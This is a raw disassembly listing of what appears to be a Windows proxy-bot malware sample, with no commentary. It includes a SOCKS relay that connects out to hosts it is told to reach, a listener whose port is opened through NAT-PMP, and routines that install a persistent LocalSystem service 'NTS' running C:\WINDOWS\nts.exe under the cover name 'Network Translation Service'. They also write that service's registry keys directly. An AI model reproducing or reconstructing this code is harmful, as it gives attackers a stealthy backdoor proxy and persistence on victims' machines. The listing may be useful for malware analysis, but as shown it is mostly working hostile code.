jle loc_4458BB
push 1
lea eax, [ebp-42Ah]
push eax
push edi
call sub_44265D
add esp, 0Ch
test eax, eax
jle loc_4458BB
mov byte ptr [ebp-42Bh], 0
push 1
lea eax, [ebp-42Bh]
push eax
push edi
call sub_44265D
add esp, 0Ch
test eax, eax
jle loc_4458BB
cmp byte ptr [ebp-42Bh], 1
jnz short loc_445574
push 4
lea eax, [ebp-410h]
push eax
push edi
call sub_44265D
add esp, 0Ch
test eax, eax
jg loc_445625
jmp loc_4458BB
; ---------------------------------------------------------------------------
loc_445574: ; CODE XREF: DMN1:00445553j
cmp byte ptr [ebp-42Bh], 3
jnz loc_44560F
push 1
lea eax, [ebp-429h]
push eax
push edi
call sub_44265D
add esp, 0Ch
test eax, eax
jle loc_4458BB
cmp byte ptr [ebp-429h], 0
jz loc_4458BB
movsx eax, byte ptr [ebp-429h]
push eax
lea eax, [ebp-408h]
push eax
push edi
call sub_44265D
add esp, 0Ch
test eax, eax
jle loc_4458BB
movsx eax, byte ptr [ebp-429h]
mov byte ptr [ebp+eax-408h], 0
lea eax, [ebp-408h]
push eax
call sub_44273F
pop ecx
mov [ebp-410h], eax
test eax, eax
jz short loc_4455F9
cmp eax, 0FFFFFFFFh
jz short loc_4455F9
test eax, eax
jnz short loc_445625
loc_4455F9: ; CODE XREF: DMN1:004455ECj
; DMN1:004455F3j
push 0
push 0
push 4
push edi
push 5
call sub_44517C
add esp, 14h
jmp loc_4458BB
; ---------------------------------------------------------------------------
loc_44560F: ; CODE XREF: DMN1:0044557Bj
push 0
push 0
push 8
push edi
push 5
call sub_44517C
add esp, 14h
jmp loc_4458BB
; ---------------------------------------------------------------------------
loc_445625: ; CODE XREF: DMN1:00445569j
; DMN1:004455F7j
push 2
lea eax, [ebp-40Ah]
push eax
push edi
call sub_44265D
add esp, 0Ch
test eax, eax
jle loc_4458BB
loc_44563F: ; CODE XREF: DMN1:004453E9j
; DMN1:004453F4j ...
movzx eax, word ptr [ebp-40Ah]
push eax
call sub_447C59 ; htons
mov [ebp-40Ah], ax
test ax, ax
jnz short loc_445674
push 0
push 0
push 2
push edi
movsx eax, byte ptr [ebp-411h]
push eax
call sub_44517C
add esp, 14h
jmp loc_4458BB
; ---------------------------------------------------------------------------
loc_445674: ; CODE XREF: DMN1:00445656j
cmp byte ptr [ebp-421h], 1
jz short loc_4456A3
movzx eax, word ptr [ebp-40Ah]
push eax
push dword ptr [ebp-410h]
push 7
push edi
movsx eax, byte ptr [ebp-411h]
push eax
call sub_44517C
add esp, 14h
jmp loc_4458BB
; ---------------------------------------------------------------------------
loc_4456A3: ; CODE XREF: DMN1:0044567Bj
call sub_4422DA
mov [ebp-4], eax
test eax, eax
jnz short loc_4456CB
push 0
push 0
push 1
push edi
movsx eax, byte ptr [ebp-411h]
push eax
call sub_44517C
add esp, 14h
jmp loc_4458BB
; ---------------------------------------------------------------------------
loc_4456CB: ; CODE XREF: DMN1:004456ADj
mov eax, [ebp-410h]
mov [ebp-420h], eax
push eax
call sub_447CA1 ; inet_ntoa
mov [ebp-418h], eax
movzx eax, word ptr [ebp-40Ah]
push eax
push dword ptr [ebp-418h]
push offset aConnectingToSI ; "connecting to %s:%i\n"
call nullsub_3
add esp, 0Ch
movzx eax, word ptr [ebp-40Ah]
push eax
push dword ptr [ebp-410h]
push dword ptr [ebp-4]
call sub_4424E8
add esp, 0Ch
test eax, eax
jnz short loc_445762
call sub_447CB3 ; WSAGetLastError
push eax
movzx eax, word ptr [ebp-40Ah]
push eax
push dword ptr [ebp-418h]
push offset aConnectionToSI ; "connection to %s:%i failed! %-( (%i)\n"
call nullsub_3
add esp, 10h
movzx eax, word ptr [ebp-40Ah]
push eax
push dword ptr [ebp-410h]
push 4
push edi
movsx eax, byte ptr [ebp-411h]
push eax
call sub_44517C
add esp, 14h
jmp loc_4458BB
; ---------------------------------------------------------------------------
loc_445762: ; CODE XREF: DMN1:00445719j
movzx eax, word ptr [ebp-40Ah]
push eax
push dword ptr [ebp-418h]
push offset aConnectedToSI ; "connected to %s:%i\n"
call nullsub_3
add esp, 0Ch
movzx eax, word ptr [ebp-40Ah]
push eax
push dword ptr [ebp-410h]
push 0
push edi
movsx eax, byte ptr [ebp-411h]
push eax
call sub_44517C
add esp, 14h
test eax, eax
jz loc_4458BB
push offset aTransferringDa ; "transferring data...\n"
call nullsub_3
pop ecx
xor esi, esi
loc_4457B3: ; CODE XREF: DMN1:0044589Aj
; DMN1:004458ABj
inc esi
push edi
call sub_442450
pop ecx
test eax, eax
jl loc_4458B0
push edi
call sub_4424C3
pop ecx
mov ebx, eax
test ebx, ebx
jl loc_4458B0
cmp esi, 1Eh
jle short loc_4457E0
test ebx, ebx
jnz short loc_4457E0
xor ebx, ebx
inc ebx
loc_4457E0: ; CODE XREF: DMN1:004457D7j
; DMN1:004457DBj
test ebx, ebx
jle short loc_44582C
cmp ebx, 400h
jle short loc_4457F1
mov ebx, 400h
loc_4457F1: ; CODE XREF: DMN1:004457EAj
push ebx
lea eax, [ebp-408h]
push eax
push edi
call sub_44265D
add esp, 0Ch
mov [ebp-8], eax
test eax, eax
jle loc_4458B0
push dword ptr [ebp-8]
lea eax, [ebp-408h]
push eax
push dword ptr [ebp-4]
call sub_442708
add esp, 0Ch
test eax, eax
jle loc_4458BB
xor esi, esi
loc_44582C: ; CODE XREF: DMN1:004457E2j
push dword ptr [ebp-4]
call sub_442450
pop ecx
test eax, eax
jl short loc_4458B0
push dword ptr [ebp-4]
call sub_4424C3
pop ecx
mov ebx, eax
test ebx, ebx
jl short loc_4458B0
cmp esi, 1Eh
jle short loc_445854
test ebx, ebx
jnz short loc_445854
xor ebx, ebx
inc ebx
loc_445854: ; CODE XREF: DMN1:0044584Bj
; DMN1:0044584Fj
test ebx, ebx
jle short loc_445898
cmp ebx, 400h
jle short loc_445865
mov ebx, 400h
loc_445865: ; CODE XREF: DMN1:0044585Ej
push ebx
lea eax, [ebp-408h]
push eax
push dword ptr [ebp-4]
call sub_44265D
add esp, 0Ch
mov [ebp-8], eax
test eax, eax
jle short loc_4458B0
push dword ptr [ebp-8]
lea eax, [ebp-408h]
push eax
push edi
call sub_442708
add esp, 0Ch
test eax, eax
jle short loc_4458BB
xor esi, esi
loc_445898: ; CODE XREF: DMN1:00445856j
test esi, esi
jz loc_4457B3
push 12Ch
call dword_411D00 ; Sleep
jmp loc_4457B3
; ---------------------------------------------------------------------------
loc_4458B0: ; CODE XREF: DMN1:004457BDj
; DMN1:004457CEj ...
push offset aDataExchangeCo ; "data exchange complete\n"
call nullsub_3
pop ecx
loc_4458BB: ; CODE XREF: DMN1:004452DFj
; DMN1:00445332j ...
push offset aConnectionClos ; "connection closed.\n"
call nullsub_3
pop ecx
push edi
call sub_442443
pop ecx
cmp dword ptr [ebp-4], 0
jz short loc_4458DC
push dword ptr [ebp-4]
call sub_442443
pop ecx
loc_4458DC: ; CODE XREF: DMN1:004458D1j
call sub_448921
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
and dword ptr [ebp-4], 0
and dword_41100C, 0
push offset aListener___ ; "listener...\n"
call nullsub_3
pop ecx
lea eax, [ebp-0Ah]
push eax
call sub_443427
pop ecx
mov bx, ax
test bx, bx
jz short loc_44593C
cmp bx, 0FFFFh
jz short loc_44593C
movzx eax, bx
cmp dword_411010, eax
jz short loc_44593C
movzx eax, bx
mov dword_411010, eax
movzx eax, word ptr [ebp-0Ah]
mov dword_41100C, eax
loc_44593C: ; CODE XREF: DMN1:00445917j
; DMN1:0044591Ej ...
call sub_4422DA
mov dword_411030, eax
loc_445946: ; CODE XREF: DMN1:004459BFj
cmp dword_41100C, 0
jnz short loc_44597F
loc_44594F: ; CODE XREF: DMN1:00445976j
; DMN1:0044597Dj
lea eax, [ebp-4]
push eax
call sub_441F82
pop ecx
mov ecx, 0C350h
cdq
idiv ecx
lea eax, [edx+2710h]
mov dword_41100C, eax
mov eax, dword_41100C
cmp eax, 24A2h
jz short loc_44594F
cmp eax, 15B7h
jz short loc_44594F
loc_44597F: ; CODE XREF: DMN1:0044594Dj
movzx eax, word ptr dword_41100C
push eax
push 0
push dword_411030
call sub_442538
add esp, 0Ch
test eax, eax
jnz short loc_4459C1
and dword_41100C, 0
and dword_411010, 0
push dword_411030
call sub_442443
pop ecx
call sub_4422DA
mov dword_411030, eax
jmp short loc_445946
; ---------------------------------------------------------------------------
loc_4459C1: ; CODE XREF: DMN1:00445999j
push dword_41100C
push offset aSocksPortI ; "SOCKS port: %i\n"
call sub_4481E1
pop ecx
pop ecx
mov eax, dword_41100C
mov dword_411010, eax
call sub_444094
mov [ebp-8], eax
movzx eax, word ptr dword_411010
push eax
movzx eax, word ptr dword_41100C
push eax
push dword ptr [ebp-8]
call sub_4442A3
add esp, 0Ch
movzx eax, ax
mov dword_411010, eax
cmp dword_411010, 0
jnz short loc_445A1D
mov eax, dword_41100C
mov dword_411010, eax
jmp short loc_445A2F
; ---------------------------------------------------------------------------
loc_445A1D: ; CODE XREF: DMN1:00445A0Fj
push dword_411010
push offset aNatpmpForwarde ; "NATPMP: forwarded to: %i\n"
call sub_4481E1
pop ecx
pop ecx
loc_445A2F: ; CODE XREF: DMN1:00445A1Bj
movzx eax, word ptr dword_41100C
push eax
push eax
call sub_443A83
pop ecx
pop ecx
test eax, eax
jz short loc_445A48
mov eax, dword_41100C
loc_445A48: ; CODE XREF: DMN1:00445A41j
push 1
push offset dword_411024
call dword_411D04 ; InterlockedExchange
push 1
push offset dword_41102C
call dword_411D04 ; InterlockedExchange
push offset aStartingCommTh ; "starting COMM thread...\n"
call nullsub_3
pop ecx
push 0
push 0
push offset sub_40400E
call sub_448891
add esp, 0Ch
push eax
call dword_411CF8 ; CloseHandle
push 0C8h
call dword_411D00 ; Sleep
push 0
push 0
push offset sub_403FEA
call sub_448891
add esp, 0Ch
push eax
call dword_411CF8 ; CloseHandle
push 0C8h
call dword_411D00 ; Sleep
loc_445AB3: ; CODE XREF: DMN1:00445ADDj
; DMN1:00445B10j
push dword_411030
call sub_442588
pop ecx
test eax, eax
jz short loc_445B12
lea eax, [ebp-12h]
push eax
lea eax, [ebp-10h]
push eax
push dword_411030
call sub_4425ED
add esp, 0Ch
mov edi, eax
test edi, edi
jz short loc_445AB3
push 0Ch
call sub_441FC9
pop ecx
mov esi, eax
mov eax, [ebp-10h]
mov [esi], eax
mov ax, [ebp-12h]
mov [esi+4], ax
mov [esi+8], edi
push esi
push 0
push offset sub_4042CD
call sub_448891
add esp, 0Ch
push eax
call dword_411CF8 ; CloseHandle
jmp short loc_445AB3
; ---------------------------------------------------------------------------
loc_445B12: ; CODE XREF: DMN1:00445AC1j
push 0
push offset dword_41102C
call dword_411D04 ; InterlockedExchange
push dword_411030
call sub_442443
pop ecx
and dword_411030, 0
call sub_448921
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 854h
push ebx
mov ebx, [ebp+10h]
push 44h
push 0
lea eax, [ebp-44h]
push eax
call sub_448551
add esp, 0Ch
mov dword ptr [ebp-44h], 44h
test ebx, ebx
jz short loc_445B7B
push offset asc_40EDC7 ; "\""
lea eax, [ebp-844h]
push eax
call sub_4485F1
pop ecx
pop ecx
jmp short loc_445B82
; ---------------------------------------------------------------------------
loc_445B7B: ; CODE XREF: DMN1:00445B64j
mov byte ptr [ebp-844h], 0
loc_445B82: ; CODE XREF: DMN1:00445B79j
cmp dword ptr [ebp+8], 0
jz short loc_445B9B
push dword ptr [ebp+8]
lea eax, [ebp-844h]
push eax
call sub_448611
pop ecx
pop ecx
jmp short loc_445BAE
; ---------------------------------------------------------------------------
loc_445B9B: ; CODE XREF: DMN1:00445B86j
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
lea eax, [ebp-844h]
push eax
call sub_448611
pop ecx
pop ecx
loc_445BAE: ; CODE XREF: DMN1:00445B99j
test ebx, ebx
jz short loc_445BC5
push offset asc_40EDC7 ; "\""
lea eax, [ebp-844h]
push eax
call sub_448611
pop ecx
pop ecx
loc_445BC5: ; CODE XREF: DMN1:00445BB0j
cmp dword ptr [ebp+0Ch], 0
jz short loc_445BEF
push offset asc_40EDB2 ; " "
lea eax, [ebp-844h]
push eax
call sub_448611
pop ecx
pop ecx
push dword ptr [ebp+0Ch]
lea eax, [ebp-844h]
push eax
call sub_448611
pop ecx
pop ecx
loc_445BEF: ; CODE XREF: DMN1:00445BC9j
lea eax, [ebp-854h]
push eax
lea eax, [ebp-44h]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp-844h]
push eax
push 0
call dword_411D10 ; CreateProcessA
test eax, eax
jz short loc_445C34
push dword ptr [ebp-850h]
call dword_411CF8 ; CloseHandle
push dword ptr [ebp-854h]
call dword_411CF8 ; CloseHandle
xor eax, eax
inc eax
loc_445C34: ; CODE XREF: DMN1:00445C17j
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_445C39 proc near ; CODE XREF: DMN1:00446B85p
; sub_447672:loc_4479AEp ...
push ebx
push esi
push 0F003Fh
push 0
push 0
call dword_411E44 ; OpenSCManagerA
mov ebx, eax
test eax, eax
jz short loc_445C80
push 4
push offset aNts ; "NTS"
push ebx
call dword_411E48 ; OpenServiceA
mov esi, eax
test esi, esi
jnz short loc_445C6F
push ebx
call dword_411E4C ; CloseServiceHandle
xor eax, eax
jmp short loc_445C80
; ---------------------------------------------------------------------------
loc_445C6F: ; CODE XREF: sub_445C39+29j
push esi
call dword_411E4C ; CloseServiceHandle
push ebx
call dword_411E4C ; CloseServiceHandle
xor eax, eax
inc eax
loc_445C80: ; CODE XREF: sub_445C39+15j
; sub_445C39+34j
pop esi
pop ebx
retn
sub_445C39 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445C83 proc near ; CODE XREF: sub_447672+3C4p
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
push 0F003Fh
push 0
push 0
call dword_411E44 ; OpenSCManagerA
mov ebx, eax
test eax, eax
jz short loc_445CED
push 94h
push offset aNts ; "NTS"
push ebx
call dword_411E48 ; OpenServiceA
mov esi, eax
test esi, esi
jnz short loc_445CC3
push ebx
call dword_411E4C ; CloseServiceHandle
xor eax, eax
jmp short loc_445CED
; ---------------------------------------------------------------------------
loc_445CC3: ; CODE XREF: sub_445C83+33j
xor edi, edi
lea eax, [ebp+var_1C]
push eax
push esi
call dword_411E50 ; QueryServiceStatus
test eax, eax
jz short loc_445CDD
cmp [ebp+var_18], 4
jnz short loc_445CDD
xor edi, edi
inc edi
loc_445CDD: ; CODE XREF: sub_445C83+4Fj
; sub_445C83+55j
push esi
call dword_411E4C ; CloseServiceHandle
push ebx
call dword_411E4C ; CloseServiceHandle
mov eax, edi
loc_445CED: ; CODE XREF: sub_445C83+1Cj
; sub_445C83+3Ej
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_445C83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445CF4 proc near ; CODE XREF: sub_445D89+32p
; sub_445DD7+39p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
mov ebx, [ebp+arg_0]
push 0
push 0
push 0
push 0
push 0
push 0
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push 0
push 2
push 0FFFFFFFFh
push ebx
call dword_411E54 ; ChangeServiceConfigA
test eax, eax
jnz short loc_445D36
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 430h
jnz short loc_445D32
or eax, 0FFFFFFFFh
jmp short loc_445D84
; ---------------------------------------------------------------------------
loc_445D32: ; CODE XREF: sub_445CF4+37j
xor eax, eax
jmp short loc_445D84
; ---------------------------------------------------------------------------
loc_445D36: ; CODE XREF: sub_445CF4+2Aj
mov [ebp+var_1C], 1
and [ebp+var_18], 0
and [ebp+var_14], 0
and [ebp+var_10], 0
and [ebp+var_C], 0
mov [ebp+var_8], 1
lea eax, [ebp+var_1C]
mov [ebp+var_4], eax
lea eax, [ebp+var_14]
push eax
push 2
push ebx
call dword_411E58 ; ChangeServiceConfig2A
test eax, eax
jnz short loc_445D81
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 430h
jnz short loc_445D7D
or eax, 0FFFFFFFFh
jmp short loc_445D84
; ---------------------------------------------------------------------------
loc_445D7D: ; CODE XREF: sub_445CF4+82j
xor eax, eax
jmp short loc_445D84
; ---------------------------------------------------------------------------
loc_445D81: ; CODE XREF: sub_445CF4+75j
xor eax, eax
inc eax
loc_445D84: ; CODE XREF: sub_445CF4+3Cj
; sub_445CF4+40j ...
pop ebx
mov esp, ebp
pop ebp
retn
sub_445CF4 endp
; =============== S U B R O U T I N E =======================================
sub_445D89 proc near ; CODE XREF: sub_445EAB+6Dp
; DMN1:loc_446B9Cp
push ebx
push esi
push edi
xor edi, edi
push 0F003Fh
push 0
push 0
call dword_411E44 ; OpenSCManagerA
mov ebx, eax
test eax, eax
jz short loc_445DD3
push 96h
push offset aNts ; "NTS"
push ebx
call dword_411E48 ; OpenServiceA
mov esi, eax
test esi, esi
jz short loc_445DCA
push esi
call sub_445CF4
pop ecx
mov edi, eax
push esi
call dword_411E4C ; CloseServiceHandle
loc_445DCA: ; CODE XREF: sub_445D89+2Fj
push ebx
call dword_411E4C ; CloseServiceHandle
mov eax, edi
loc_445DD3: ; CODE XREF: sub_445D89+18j
pop edi
pop esi
pop ebx
retn
sub_445D89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445DD7 proc near ; CODE XREF: DMN1:00446A9Bp
; sub_447672+428p ...
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
xor esi, esi
push 0F003Fh
push 0
push 0
call dword_411E44 ; OpenSCManagerA
mov edi, eax
test eax, eax
jz loc_445EA4
push 16h
push offset aNts ; "NTS"
push edi
call dword_411E48 ; OpenServiceA
mov ebx, eax
test ebx, ebx
jz short loc_445E33
push ebx
call sub_445CF4
pop ecx
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_445E2F
push ebx
call dword_411E4C ; CloseServiceHandle
push edi
call dword_411E4C ; CloseServiceHandle
mov eax, esi
jmp short loc_445EA4
; ---------------------------------------------------------------------------
loc_445E2F: ; CODE XREF: sub_445DD7+44j
xor esi, esi
jmp short loc_445E43
; ---------------------------------------------------------------------------
loc_445E33: ; CODE XREF: sub_445DD7+36j
push 14h
push offset aNts ; "NTS"
push edi
call dword_411E48 ; OpenServiceA
mov ebx, eax
loc_445E43: ; CODE XREF: sub_445DD7+5Aj
test ebx, ebx
jnz short loc_445E52
push edi
call dword_411E4C ; CloseServiceHandle
xor eax, eax
jmp short loc_445EA4
; ---------------------------------------------------------------------------
loc_445E52: ; CODE XREF: sub_445DD7+6Ej
lea eax, [ebp+var_1C]
push eax
push ebx
call dword_411E50 ; QueryServiceStatus
test eax, eax
jz short loc_445E6A
cmp [ebp+var_18], 4
jnz short loc_445E6A
xor esi, esi
inc esi
loc_445E6A: ; CODE XREF: sub_445DD7+88j
; sub_445DD7+8Ej
test esi, esi
jnz short loc_445E94
push 0
push 0
push ebx
call dword_411E5C ; StartServiceA
test eax, eax
jz short loc_445E84
mov esi, 2
jmp short loc_445E94
; ---------------------------------------------------------------------------
loc_445E84: ; CODE XREF: sub_445DD7+A4j
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 430h
jnz short loc_445E94
or esi, 0FFFFFFFFh
loc_445E94: ; CODE XREF: sub_445DD7+95j
; sub_445DD7+ABj ...
push ebx
call dword_411E4C ; CloseServiceHandle
push edi
call dword_411E4C ; CloseServiceHandle
mov eax, esi
loc_445EA4: ; CODE XREF: sub_445DD7+1Ej
; sub_445DD7+56j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_445DD7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445EAB proc near ; CODE XREF: DMN1:loc_446BADp
; sub_447672+3F3p ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_113 = byte ptr -113h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 0F003Fh
push 0
push 0
call dword_411E44 ; OpenSCManagerA
mov esi, eax
test eax, eax
jz loc_445FE6
push 0
push 0
push 0
push 0
push 0
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push 0
push 2
push 110h
push 0F01FFh
push offset aNetworkTransla ; "Network Translation Service"
push offset aNts ; "NTS"
push esi
call dword_411E60 ; CreateServiceA
mov ebx, eax
test ebx, ebx
jnz short loc_445F33
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 431h
jnz short loc_445F25
push esi
call dword_411E4C ; CloseServiceHandle
call sub_445D89
xor eax, eax
inc eax
jmp loc_445FE6
; ---------------------------------------------------------------------------
loc_445F25: ; CODE XREF: sub_445EAB+64j
push esi
call dword_411E4C ; CloseServiceHandle
xor eax, eax
jmp loc_445FE6
; ---------------------------------------------------------------------------
loc_445F33: ; CODE XREF: sub_445EAB+57j
push offset aServiceRegiste ; "service registered\n"
call nullsub_4
pop ecx
xor edi, edi
inc edi
push 0FFh
push offset aProvidesHardwa ; "Provides hardware-to-software binary ne"...
lea eax, [ebp+var_113]
push eax
call dword_411D3C ; lstrcpyn
lea eax, [ebp+var_113]
mov [ebp+var_120], eax
lea eax, [ebp+var_120]
push eax
push 1
push ebx
call dword_411E58 ; ChangeServiceConfig2A
test eax, eax
jnz short loc_445F88
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 430h
jnz short loc_445F88
or edi, 0FFFFFFFFh
loc_445F88: ; CODE XREF: sub_445EAB+CBj
; sub_445EAB+D8j
mov [ebp+var_11C], 1
and [ebp+var_118], 0
and [ebp+var_14], 0
and [ebp+var_10], 0
and [ebp+var_C], 0
mov [ebp+var_8], 1
lea eax, [ebp+var_11C]
mov [ebp+var_4], eax
lea eax, [ebp+var_14]
push eax
push 2
push ebx
call dword_411E58 ; ChangeServiceConfig2A
test eax, eax
jnz short loc_445FD6
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 430h
jnz short loc_445FD6
or edi, 0FFFFFFFFh
loc_445FD6: ; CODE XREF: sub_445EAB+119j
; sub_445EAB+126j
push ebx
call dword_411E4C ; CloseServiceHandle
push esi
call dword_411E4C ; CloseServiceHandle
mov eax, edi
loc_445FE6: ; CODE XREF: sub_445EAB+1Fj
; sub_445EAB+75j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_445EAB endp
; =============== S U B R O U T I N E =======================================
sub_445FED proc near ; CODE XREF: DMN1:00444F74p
; sub_447672+B0p ...
push ebx
push esi
push 0F003Fh
push 0
push 0
call dword_411E44 ; OpenSCManagerA
mov ebx, eax
test eax, eax
jz short loc_44602F
push 0F01FFh
push offset aNts ; "NTS"
push ebx
call dword_411E48 ; OpenServiceA
mov esi, eax
push esi
call dword_411E64 ; DeleteService
push esi
call dword_411E4C ; CloseServiceHandle
push ebx
call dword_411E4C ; CloseServiceHandle
xor eax, eax
inc eax
loc_44602F: ; CODE XREF: sub_445FED+15j
pop esi
pop ebx
retn
sub_445FED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_446032 proc near ; CODE XREF: DMN1:00446B8Ep
; sub_447672+40Ap
var_53C = dword ptr -53Ch
var_538 = byte ptr -538h
var_534 = byte ptr -534h
var_409 = byte ptr -409h
var_408 = dword ptr -408h
var_404 = dword ptr -404h
var_400 = byte ptr -400h
push ebp
mov ebp, esp
sub esp, 53Ch
push ebx
push esi
push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
lea eax, [ebp+var_400]
push eax
call sub_4485F1
pop ecx
pop ecx
lea ebx, [ebp+var_400]
lea eax, [ebp+var_400]
push eax
call sub_4485D1
pop ecx
add ebx, eax
push offset aNts ; "NTS"
push ebx
call sub_4485F1
pop ecx
pop ecx
xor esi, esi
lea eax, [ebp+var_404]
push eax
push 0F003Fh
push 0
lea eax, [ebp+var_400]
push eax
push 80000002h
call dword_411E30 ; RegOpenKeyExA
test eax, eax
jnz short loc_446100
mov [ebp+var_408], 12Ch
lea eax, [ebp+var_408]
push eax
lea eax, [ebp+var_534]
push eax
lea eax, [ebp+var_538]
push eax
push 0
push offset aImagepath ; "ImagePath"
push [ebp+var_404]
call dword_411E68 ; RegQueryValueExA
mov [ebp+var_53C], eax
test eax, eax
jnz short loc_4460F4
mov [ebp+var_409], 0
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
lea eax, [ebp+var_534]
push eax
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_4460F4
xor esi, esi
inc esi
loc_4460F4: ; CODE XREF: sub_446032+A0j
; sub_446032+BDj
push [ebp+var_404]
call dword_411E2C ; RegCloseKey
loc_446100: ; CODE XREF: sub_446032+64j
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_446032 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_446108 proc near ; CODE XREF: DMN1:00446B97p
; sub_447672+413p
var_40C = byte ptr -40Ch
var_408 = byte ptr -408h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 40Ch
push ebx
push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
lea eax, [ebp+var_408]
push eax
call sub_4485F1
pop ecx
pop ecx
lea ebx, [ebp+var_408]
lea eax, [ebp+var_408]
push eax
call sub_4485D1
pop ecx
add ebx, eax
push offset aNts ; "NTS"
push ebx
call sub_4485F1
pop ecx
pop ecx
lea eax, [ebp+var_40C]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea eax, [ebp+var_408]
push eax
push 80000002h
call dword_411E24 ; RegCreateKeyExA
test eax, eax
jnz loc_44627D
mov [ebp+var_8], 110h
push 4
lea eax, [ebp+var_8]
push eax
push 4
push 0
push offset aType ; "Type"
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
mov [ebp+var_8], 2
push 4
lea eax, [ebp+var_8]
push eax
push 4
push 0
push offset aStart ; "Start"
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
and [ebp+var_8], 0
push 4
lea eax, [ebp+var_8]
push eax
push 4
push 0
push offset aErrorcontrol ; "ErrorControl"
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
and [ebp+var_8], 0
push 4
lea eax, [ebp+var_8]
push eax
push 4
push 0
push offset aErrorcontrol ; "ErrorControl"
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
push 0Ch
push offset aLocalsystem ; "LocalSystem"
push 1
push 0
push offset aObjectname ; "ObjectName"
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
push offset aNetworkTransla ; "Network Translation Service"
call sub_4485D1
pop ecx
inc eax
push eax
push offset aNetworkTransla ; "Network Translation Service"
push 1
push 0
push offset aDisplayname ; "DisplayName"
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
push offset aProvidesHardwa ; "Provides hardware-to-software binary ne"...
call sub_4485D1
pop ecx
inc eax
push eax
push offset aProvidesHardwa ; "Provides hardware-to-software binary ne"...
push 1
push 0
push offset aDescription ; "Description"
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
call sub_4485D1
pop ecx
inc eax
push eax
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push 1
push 0
push offset aImagepath ; "ImagePath"
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
push [ebp+var_4]
call dword_411E2C ; RegCloseKey
loc_44627D: ; CODE XREF: sub_446108+6Bj
pop ebx
mov esp, ebp
pop ebp
retn
sub_446108 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push offset a6ea9b038C801_0 ; "{6EA9B038-C801-4F76-805F-E41ACF9ED164}"
push 0
push 0
push 0
call dword_411D40 ; CreateEventA
mov ebx, eax
test eax, eax
jz short loc_4462B6
push ebx
call dword_411D44 ; SetEvent
mov esi, eax
push ebx
call dword_411CF8 ; CloseHandle
test esi, esi
jz short loc_4462B4
xor eax, eax
inc eax
jmp short loc_4462B6
; ---------------------------------------------------------------------------
loc_4462B4: ; CODE XREF: DMN1:004462ADj
xor eax, eax
loc_4462B6: ; CODE XREF: DMN1:00446299j
; DMN1:004462B2j
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4462B9 proc near ; CODE XREF: sub_4464C6+89p
; sub_44655C+CAp ...
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call dword_411E24 ; RegCreateKeyExA
test eax, eax
jnz short loc_44630B
